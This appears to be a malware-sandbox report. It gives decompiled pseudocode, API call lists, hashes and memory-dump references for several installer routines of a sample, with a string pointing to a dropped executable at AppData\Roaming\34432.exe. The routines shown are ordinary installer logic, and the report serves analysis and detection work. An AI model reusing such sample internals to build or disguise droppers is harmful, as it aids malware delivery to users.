			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x41ea18; // 0x47ed1b
					_t11 =  *0x42aa24; // 0x47ed1f
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fcd
0x00402fd4
0x00402fd6
0x00402fd6
0x00402fec
0x00402ffc
0x0040300e
0x0040300e
0x00403016

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
MulDiv.KERNEL32(0047ED1B,00000064,0047ED1F), ref: 00402FDC
wsprintfW.USER32 ref: 00402FEC
SetWindowTextW.USER32(?,?), ref: 00402FFC
SetDlgItemTextW.USER32 ref: 0040300E

Strings

verifying installer: %d%%, xrefs: 00402FE6

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
Instruction ID: eb17ebabde20c32bd565f0ca98bf5c3c7f8a04474e671541d9d17dad0456e96b
Opcode Fuzzy Hash: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
Instruction Fuzzy Hash: 20014B7064020DABEF209F60DE4AFEA3B79FB04345F008039FA06B51D0DBB999559F69

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402950(int __ebx) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				int _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405E83(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406008(_t55);
				_t29 = E0040602D(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x434f14;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004034E5(_t49);
							E004034CF(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E004032B4( *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00405FE8( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E004060DF( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E004032B4( *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32 ref: 00402A06
GlobalFree.KERNEL32 ref: 00402A19
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
Instruction ID: 8fc1a79e9ee36ebd610a2d663d7387b5f1fea8f48d7bc9e01940cd119f3fb53c
Opcode Fuzzy Hash: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
Instruction Fuzzy Hash: 5831C271D00124BBCF216FA9CE49DDEBE79AF49364F14023AF450762E0CB794C429BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00405A6E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A6E(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				if(CreateDirectoryW(_a4,  &_v16) != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405a79
0x00405a7d
0x00405a80
0x00405a86
0x00405a8a
0x00405a8e
0x00405a96
0x00405a9d
0x00405aa3
0x00405aaa
0x00405ab9
0x00405abb
0x00000000
0x00405abb
0x00405ac5
0x00405acc
0x00405ae2
0x00000000
0x00000000
0x00000000
0x00405ae4
0x00405ae8

APIs

CreateDirectoryW.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB1
GetLastError.KERNEL32 ref: 00405AC5
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADA
GetLastError.KERNEL32 ref: 00405AE4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A94

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3081826266
Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction ID: 637b0a295f6611997b04f2fb2f8121e2d74ae93851c1d74b8ff7b710bfe1865b
Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
Instruction Fuzzy Hash: 1A010871D04219EAEF019BA0DD84BEFBBB4EB14314F00813AD545B6281E7789648CFE9

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004063AA(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E0040690A(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32 ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 78d35a7524f1d2205fa0e87ab22fa6bfb41dfe8b1a27fd9ec563711b6eb4cb1f
Instruction ID: ca6229ec891c5908b4c2d3bab14ae3db7b9396451d72a40731f1c02386a45f13
Opcode Fuzzy Hash: 78d35a7524f1d2205fa0e87ab22fa6bfb41dfe8b1a27fd9ec563711b6eb4cb1f
Instruction Fuzzy Hash: DA215A7150010ABBEF119F90CE89EEF7B7DEB50384F100076F909B21A0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x434f00,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E00406484();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32 ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
Instruction ID: b69f8f45c5cbb28dd5603d9b1d667d2ce3d3910c133b75fee4ecc707c572ca23
Opcode Fuzzy Hash: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
Instruction Fuzzy Hash: 3321F672904119AFCB05DBA4DE45AEEBBB5EF08314F14003AFA45F62A0DB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce00 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce07 = 1;
				 *0x40ce04 = _t15 & 0x00000001;
				 *0x40ce05 = _t15 & 0x00000002;
				 *0x40ce06 = _t15 & 0x00000004;
				E0040657A(_t9, _t31, _t33, 0x40ce0c,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf0);
				_push(_t18);
				_push(_t31);
				E00406484();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32 ref: 00401E84

Part of subcall function 0040657A: lstrcatW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
Part of subcall function 0040657A: lstrlenW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,00000000,0042C248,?,004055D6,0042C248,00000000), ref: 00406779

CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED3

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: 0465d2832808ea9d6fff4b9245e4cab849096788d5b9b76ed02900a81bf07427
Instruction ID: 78b13ae86a0973dc2b43aa2eb6c1af0beb3c1ef463c522f55250376beecb9f8a
Opcode Fuzzy Hash: 0465d2832808ea9d6fff4b9245e4cab849096788d5b9b76ed02900a81bf07427
Instruction Fuzzy Hash: 7001B571904241EFEB005BB0EE49B9A3FB4BB15301F108A39F541B71D2C7B904458BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E00406484();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32 ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
Instruction ID: 549e056fbb7746b1afa8e7352ee9f1cbf83a3633853e14f9ff1f16dc1dd81c22
Opcode Fuzzy Hash: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
Instruction Fuzzy Hash: 46219C7190420AAFEF05AFA4D94AAAE7BB4FF84304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404D46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404D46(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E0040657A(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E0040657A(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E0040657A(_t44, _t50, 0x42d268, 0x42d268, _a8);
				wsprintfW(_t34 + lstrlenW(0x42d268) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x433ed8, _a4, 0x42d268);
			}

0x00404d4f
0x00404d54
0x00404d5c
0x00404d5d
0x00404d6a
0x00404d72
0x00404d73
0x00404d75
0x00404d77
0x00404d79
0x00404d7c
0x00404d7c
0x00404d83
0x00404d89
0x00404d89
0x00404d90
0x00404d97
0x00404d9a
0x00404d9d
0x00404d9d
0x00404da1
0x00404db1
0x00404db3
0x00404db6
0x00404d5f
0x00404d5f
0x00404d66
0x00404d66
0x00404dbe
0x00404dc9
0x00404ddf
0x00404df0
0x00404e0c

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE7
wsprintfW.USER32 ref: 00404DF0
SetDlgItemTextW.USER32 ref: 00404E03

Strings

%u.%u%s%s, xrefs: 00404DD1

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
